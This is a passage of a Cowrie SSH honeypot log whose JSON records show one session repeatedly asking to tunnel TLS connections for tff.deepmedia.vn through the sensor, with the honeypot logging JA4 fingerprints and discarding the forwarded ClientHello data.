{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.152505Z","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.234514Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%\\xc9\\x93|\\xe7\\x02\\\\\\x1e\\xe5\\xafTk%j\\xe4\\x02\\xc0\\x18\\xb1\\xe9\\xe0\\x9e4\\xb79S]\\xc1\\xa5 /\\xf7 \\xd6\\xcb\\xde#\\xdd\\x1e\\x0c\\xcf\\xeed\\xdf\\xb8\\xa6\\xfe\\xd8\\x02\\xfa\\x8c7\\x8bH\\x89$*N~\\xa1zK\\xa3\\x9b\\xd9\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc6\\xe1\\xb4O\\xe7\\x9d\\xd7?7\\xaf\"\\x827l\\x97\\xca\\xff\\x1aU\\xf1\\xfdcX\\xfa\\x17o\\x8c\\xa7\\x12\\xee\\xe0\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%\\xc9\\x93|\\xe7\\x02\\\\\\x1e\\xe5\\xafTk%j\\xe4\\x02\\xc0\\x18\\xb1\\xe9\\xe0\\x9e4\\xb79S]\\xc1\\xa5 /\\xf7 \\xd6\\xcb\\xde#\\xdd\\x1e\\x0c\\xcf\\xeed\\xdf\\xb8\\xa6\\xfe\\xd8\\x02\\xfa\\x8c7\\x8bH\\x89$*N~\\xa1zK\\xa3\\x9b\\xd9\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc6\\xe1\\xb4O\\xe7\\x9d\\xd7?7\\xaf\"\\x827l\\x97\\xca\\xff\\x1aU\\xf1\\xfdcX\\xfa\\x17o\\x8c\\xa7\\x12\\xee\\xe0\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.237236Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.367057Z","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.385850Z","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.423233Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\x13\\xd3u>\\x90\\'\\rS\\xd1\\xc9K\\xfcb\\xa2\"\\xb9J\\x9cu\\x98~\\xb5\\x8c\\xce\\xd9MN\\x89\\n\\xb6\\x82 x\\x1c\\x95\\xe9\\x8b\\xb1D2\\xc03\\xaaHi6\\x11\\xe7\\x83\\xc7\\xb6=\\x17n16m}\\xcf\\x8d\\xfa\\\\\\xa9\\x9a\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a\\xc1\\x99\\x17hC\\x86E\\x9e\\x96\\x8d\\x95\\n\\x93\\xe7\\xb5k@l\\xcb\\x98\\x942\\rM\\xa4\\x08\\xf25\\xfe\\x7fQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\x13\\xd3u>\\x90\\'\\rS\\xd1\\xc9K\\xfcb\\xa2\"\\xb9J\\x9cu\\x98~\\xb5\\x8c\\xce\\xd9MN\\x89\\n\\xb6\\x82 x\\x1c\\x95\\xe9\\x8b\\xb1D2\\xc03\\xaaHi6\\x11\\xe7\\x83\\xc7\\xb6=\\x17n16m}\\xcf\\x8d\\xfa\\\\\\xa9\\x9a\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a\\xc1\\x99\\x17hC\\x86E\\x9e\\x96\\x8d\\x95\\n\\x93\\xe7\\xb5k@l\\xcb\\x98\\x942\\rM\\xa4\\x08\\xf25\\xfe\\x7fQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.425999Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.486652Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03I\\x0c\\xc50C\\xfcZ8\\xc1\\xc3\\x07\\xef\\xc6\\x83\\xdc#G\\xc8\\x87\\xc3\\x80\\xd3V\\x11\\xdb\\xdc\\xcf\\xf8D+rB \\x97\\x0c\\x13N\\x01za`AY\\x982\\x1e\\xd6\\xb7o\\xb9>\\xb82\\xe9\\xf1\\xa9v\\xa7\\xc26\\x87\\x90\\x1b\\x07\\xfe\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfbA\\xc4\\xb8\\xba\\x8b\\xd2E\\xaa\\x81\\x14\\x1d\\x86\\x96\\xb0\"\\x96c\\x05@\\x86G&>$\\xe2\\x86a\\xf6\\x93\\x06C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03I\\x0c\\xc50C\\xfcZ8\\xc1\\xc3\\x07\\xef\\xc6\\x83\\xdc#G\\xc8\\x87\\xc3\\x80\\xd3V\\x11\\xdb\\xdc\\xcf\\xf8D+rB \\x97\\x0c\\x13N\\x01za`AY\\x982\\x1e\\xd6\\xb7o\\xb9>\\xb82\\xe9\\xf1\\xa9v\\xa7\\xc26\\x87\\x90\\x1b\\x07\\xfe\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfbA\\xc4\\xb8\\xba\\x8b\\xd2E\\xaa\\x81\\x14\\x1d\\x86\\x96\\xb0\"\\x96c\\x05@\\x86G&>$\\xe2\\x86a\\xf6\\x93\\x06C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.490867Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.723554Z","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.779677Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03jhg\\x99\\xe2Nl\\xd3\\xb9\\xff\\xcd\\xee_Y\\xe9\\x91k!\\x9c\\xb2\\xee\\xdcAL?\\xda\\x8bq\\xbb\\xc2\\n\\xe5 \\xf8\\xfb\\x1a\\x9a\\x8dR\\xf0$\\xcfX\\x10\\x8f\\xd3\\xe8@\\xb3\\x1d\\xdf\\x08Iz\\x7f\\x01G\\xfe\\r9\\x8fRgy\\x80\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 